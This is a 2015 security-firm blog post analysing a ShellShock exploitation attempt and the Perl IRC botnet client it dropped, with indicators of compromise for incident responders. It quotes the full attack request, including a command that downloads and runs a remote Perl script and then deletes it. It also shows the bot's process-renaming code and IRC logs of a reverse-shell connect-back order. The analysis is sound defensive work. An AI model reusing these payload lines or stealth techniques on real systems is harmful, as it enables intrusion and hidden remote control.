*This blog entry was originally published on April 1, 2015 on the original Polito Blog by Ian Duffy. It was re-posted on October 3, 2017 due to migrating to a new blog platform.
Recently I noticed some strange entries in our web server log files. Specifically, someone was trying to exploit our servers using the ShellShock vulnerability (CVE-2014-6271) to execute a perl script:
"GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 410 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\x22);'"
Ever the curious sort, I decided to pull down the script to take a look at it and see what it does.
wget http://202.191.121.230/ou.pl
Initial analysis of the file revealed it to be an IRC botnet client. When reviewing the contents of the file, a few notable things come up:
The file is written in Portuguese; however, based on the additional analysis that I performed, it is not likely that the attackers are Brazilian / Portuguese.
There are references to IP addresses and domain names in the file that are different from the IP address that was initially used to host the malicious perl script and the IP address that was used to conduct the ShellShock scanning.
The perl script is a botnet client that communicates via IRC on TCP port 80 and has functionality to perform DDoS, port scans, download/upload, and command execution.
Since it was a slow work day, I decided to "neuter" the script and comment out all of the bad functionality while at the same time leaving in all of the communications functionality to make it appear as if the bot is doing what it's supposed to be doing (that is, if the attacker requests that I perform a UDP flood, the bot client will happily report that it is sending tons of UDP packets off to the victim while not actually sending any traffic). After a few hours of reviewing code, commenting out bad stuff, and adding print statements to allow me to see what the bot is doing, I was ready to go.
Stealth Techniques
I copied the perl script into a VM and executed it. It connected immediately to the Command and Control (C2) server over port 80 and registered itself. From the IRC server banner, this appears to be a relatively smallish botnet with around 800 bots communicating in to the C2 server. A couple of noteworthy things about the bot client perl script:
my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]"); my $processo = $ps[rand scalar @ps]; $0="$processo"."\0";
What this code does is "renames" the executable file in the Linux process listing. Rather than show up as "perl b.pl", the file instead shows up as a randomly selected value from the @ps array. Output from ps -auxf shows that this is effective:
user 25830 2.0 0.4 27912 4424 pts/2 S 19:41 0:01 /usr/local/apache/bin/httpd -DSSL
Process ID 25830 is our botnet client, cleverly disguised as the Apache HTTP server.
This "renaming" of the perl script continues over to lsof -i output as well (note that PID and process name are not consistent with the above figure due to the process having been restarted):
user@user-virtual-machine /tmp $ sudo lsof -i
sudo: unable to resolve host DMZ-web
[sudo] password for user:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
avahi-dae 704 avahi 13u IPv4 9381 0t0 UDP *:mdns
avahi-dae 704 avahi 14u IPv6 9382 0t0 UDP *:mdns
avahi-dae 704 avahi 15u IPv4 9383 0t0 UDP *:47084
avahi-dae 704 avahi 16u IPv6 9384 0t0 UDP *:56863
dhclient 885 root 6u IPv4 9776 0t0 UDP *:bootpc
dhclient 885 root 20u IPv4 9763 0t0 UDP *:36216
dhclient 885 root 21u IPv6 9764 0t0 UDP *:47829
dnsmasq 997 nobody 4u IPv4 9930 0t0 UDP user-virtual-machine:domain
dnsmasq 997 nobody 5u IPv4 9931 0t0 TCP user-virtual-machine:domain (LISTEN)
mysqld 1513 mysql 10u IPv4 11660 0t0 TCP localhost:mysql (LISTEN)
cups-brow 14456 root 6u IPv6 32738 0t0 TCP ip6-localhost:53988->ip6-localhost:ipp (CLOSE_WAIT)
cups-brow 14456 root 8u IPv4 32745 0t0 UDP *:ipp
smbd 20685 root 30u IPv6 33333 0t0 TCP *:microsoft-ds (LISTEN)
smbd 20685 root 31u IPv6 33334 0t0 TCP *:netbios-ssn (LISTEN)
smbd 20685 root 32u IPv4 33335 0t0 TCP *:microsoft-ds (LISTEN)
smbd 20685 root 33u IPv4 33336 0t0 TCP *:netbios-ssn (LISTEN)
nmbd 20723 root 11u IPv4 33284 0t0 UDP *:netbios-ns
nmbd 20723 root 12u IPv4 33285 0t0 UDP *:netbios-dgm
nmbd 20723 root 13u IPv4 33287 0t0 UDP 192.168.88.130:netbios-ns
nmbd 20723 root 14u IPv4 33288 0t0 UDP 192.168.88.255:netbios-ns
nmbd 20723 root 15u IPv4 33289 0t0 UDP 192.168.88.130:netbios-dgm
nmbd 20723 root 16u IPv4 33290 0t0 UDP 192.168.88.255:netbios-dgm
cupsd 28253 root 10u IPv6 112678 0t0 TCP ip6-localhost:ipp (LISTEN)
cupsd 28253 root 11u IPv4 112679 0t0 TCP localhost:ipp (LISTEN)
/sbin/sys 28756 user 3u IPv4 117401 0t0 TCP 192.168.88.130:39980->209.92.176.23:http (ESTABLISHED)
/sbin/sys 29045 user 3u IPv4 117401 0t0 TCP 192.168.88.130:39980->209.92.176.23:http (ESTABLISHED)
Because the perl script uses this technique to hide itself, Incident responders should pay extra attention to benign-looking processes that would otherwise blend in with the "noise" in the process list. Responders should especially pay attention to any processes that look like normal system processes but that have open network connections to the attacker's IP address. Also, in my case, the file path was incorrect for some of the fake process names (i.e. there was no executable at /usr/local/apache/bin/httpd). Verification of executable process images against the active process listing should be a standard part of any incident responder's procedures.
The Botnet
Once the botnet client runs, it connects to the IRC server listening at 209.92.176.23 on port 80, assigns itself a random nickname beginning with "ame" and a random number between 1 and 1000, and then joins the channel #nou where it waits for commands from the admins.
Notably, the botnet admins are somewhat chatty on the IRC channel. Also, in some cases the output from other bots is printed out in the IRC channel and this output is visible to all other bots.
The botnet admin team goes by the name "ame-Team.ro" and appear to be a group of Romanian hackers. There appear to be five admins running this group, going by the handles "Dragos", "Anddy", "dan" "Alex", and "GG". Based on the conversations in the IRC channel, "dan" might be named "daniela":
The Botnet admins communicate primarily in Romanian:
:Dragos!Dragos@ame-Team.ro PRIVMSG #nou :liber?
PING :dude.ame-Team.ro
:Alex!Alex@Simona.Te.IUBESC.La.Infinit PRIVMSG #nou :da
:Alex!Alex@Simona.Te.IUBESC.La.Infinit PRIVMSG #nou :spune
:Dragos!Dragos@ame-Team.ro PRIVMSG #nou :liber?
:Alex!Alex@Simona.Te.IUBESC.La.Infinit PRIVMSG #nou :ce liber
:Dragos!Dragos@ame-Team.ro PRIVMSG #nou :la boti
:Dragos!Dragos@ame-Team.ro PRIVMSG #nou :=))
:Alex!Alex@Simona.Te.IUBESC.La.Infinit PRIVMSG #nou :da da
:Alex!Alex@Simona.Te.IUBESC.La.Infinit PRIVMSG #nou :poti da linistit
:Alex!Alex@Simona.Te.IUBESC.La.Infinit PRIVMSG #nou ::D
Roughly translated, it appears that Dragos is excited by the number of bots and Alex tells him to keep quiet.
Also, there is a pastebin post that appears to show another version of the perl bot client software that refers to an admin named "MAZY". This admin was not listed in the bot client script that Polito recovered. The perl script listed at this pastebin link uses the same IRC C2 server (209.92.176.23) and the same server to host the initial perl script (202.191.121.230).
Additionally, in the #nou channel, there was a user named Aws who appeared to be Italian and not Romanian (based on the IRC-reported domain and the language used in the channel):
After observing the actions of these admins, it appears that Alex is the most experienced. In one case he apparently issued commands to the bots to determine which of them was running older (circa 2009) Linux kernels. Finding an older one running kernel version 2.6.9, he issues a command for that bot to initiate a reverse-shell connect back to a server:
:Alex!Alex@Simona.Te.IUBESC.La.Infinit PRIVMSG #nou :!all uname -a |grep 2009
Command Received: Alex !all uname -a |grep 2009
:ame187!4wh@secret-10F7BD27.[REDACTED] PRIVMSG #nou :Linux REDACTED 2.6.9-78.0.22.ELsmp #1 SMP Thu Apr 30 19:14:39 EDT 2009 i686 i686 i386 GNU/Linux
:Alex!Alex@Simona.Te.IUBESC.La.Infinit PRIVMSG #nou :ame187 @conback 202.78.200.210 5555
:ame187!4wh@secret-10F7BD27.[REDACTED] PRIVMSG #nou :[1]Conectando-se em[1]: 202.78.200.210:5555
Based on references within the perl script, it appears likely that the system with the older kernel was being targeted for additional exploitation:
if ($kernel =~ /2.6.9/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit, r00t"); goto downloads; }
The above appear to be references to exploits that can allow attackers to get root on Linux systems with older kernels.
Indicators of Compromise
For incident responders looking at this particular tool, there are a couple of places to begin looking:
Web Server Log Files
Our initial indicator that this type of attack was happening was via our web server log files. I was reviewing the log files and noticed the entries that contained ShellShock attempts coming from 85.214.149.179 - this appears to be the IP address that they are using to scan for and exploit systems that are vulnerable to ShellShock. Note that this group appears to have good access to infrastructure around the globe so we assess that it is possible that they have other systems that they use to conduct this scanning.
The reference to a perl script named "ou.pl" or "b.pl" in the web server logs as well as references to "http://202.191.121.230/ou.pl" should be viewed as highly suspicious.
IRC C2 Server
Once the perl script is executed, it connects out to an IRC server hosted at 209.92.176.23 on TCP port 80. However, it does not communicate via the HTTP protocol; rather it communicates using the IRC protocol. Thus, an IDS rule alerting on IRC traffic on port 80 may be able to detect this sort of traffic. SANS Internet Storm Center has a helpful post on how to implement this with Snort.
Process Listings
As mentioned, the perl script tries to disguise itself by renaming its process. Also the perl script forks and continues to run under this new process name and the original script exits immediately. After the main script exits, the initial script passed in by ShellShock deletes the b.pl perl script, thus making it much harder to find evidence of the perl script on the drive:
wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*
Thus it is very likely that incident responders will not be able to find the actual perl script located in the /tmp folder since it forks and then deletes itself. However, the script continues to run and will show up as one of the following process entries:
"/usr/local/apache/bin/httpd -DSSL"
"/sbin/syslogd"
"[eth0]"
"/sbin/klogd -c 1 -x -x"
"/usr/sbin/acpid"
"/usr/sbin/cron"
"[bash]"
The variant at the provided pastebin link also has these process names:
"suid"
"/usr/sbin/sshd"
"rpc.idmapd"
"auditd" "crond"
"klogd -x"
Any processes with the above names that are making connections to 209.92.176.23 on TCP port 80 should be viewed with a great deal of suspicion.
One technique for developing additional information about running processes is to review the memory maps for each process. This is described here and I won't go into detail, but I found that the output from /proc/[PID]/maps for the botnet client contains references to perl:
user 2995 0.3 3.1 804948 32104 ? Sl 10:40 0:02 pluma /home/user/Desktop/ou.pl
user 3019 0.0 0.4 27912 4316 pts/4 S 10:50 0:00 /sbin/syslogd
user@user-virtual-machine /tmp $ cat /proc/3019/maps
00400000-00402000 r-xp 00000000 08:01 1051981 /usr/bin/perl
00601000-00602000 r--p 00001000 08:01 1051981 /usr/bin/perl
00602000-00603000 rw-p 00002000 08:01 1051981 /usr/bin/perl
A quick way to find all of the processes that have references to perl is to perform the following:
user@user-virtual-machine ~ $ cd /proc
user@user-virtual-machine /proc $ sudo grep -R perl */maps |cut -d "/" -f 1 |uniq
2880
3019
The output shows two PIDs that can be investigated further to determine if they are the offending perl script.
Interactive Sessions
It appears that the attackers used 202.78.200.210 (TCP port 5555) and 176.28.64.90 (TCP port 443) as callback servers for interactive sessions (i.e. realtime remote access via reverse shell) to the systems that were infected with the botnet client. Any network traffic to these IP addresses should be investigated further.
Conclusions
Hopefully, incident responders and proactive network security personnel dealing with this type / class of incident can find this information useful when dealing with this group. Also, ShellShock has been out for about 6 months now and admins need to be vigilant about patching - apply those patches! Where systems cannot be patched, consider the use of a WAF or other compensating controls to prevent these types of attacks from being successful. If you are dealing with this type of intrusion feel free to contact us for assistance.
Polito, Inc. offers a wide range of security consulting services including penetration testing, vulnerability assessments, incident response, digital forensics, and more. If your business or your clients have any cyber security needs, contact our experts and experience what Masterful Cyber Security is all about.
E-mail: info@politoinc.com
Phone: 571-969-7039
Website: politoinc.com
Comments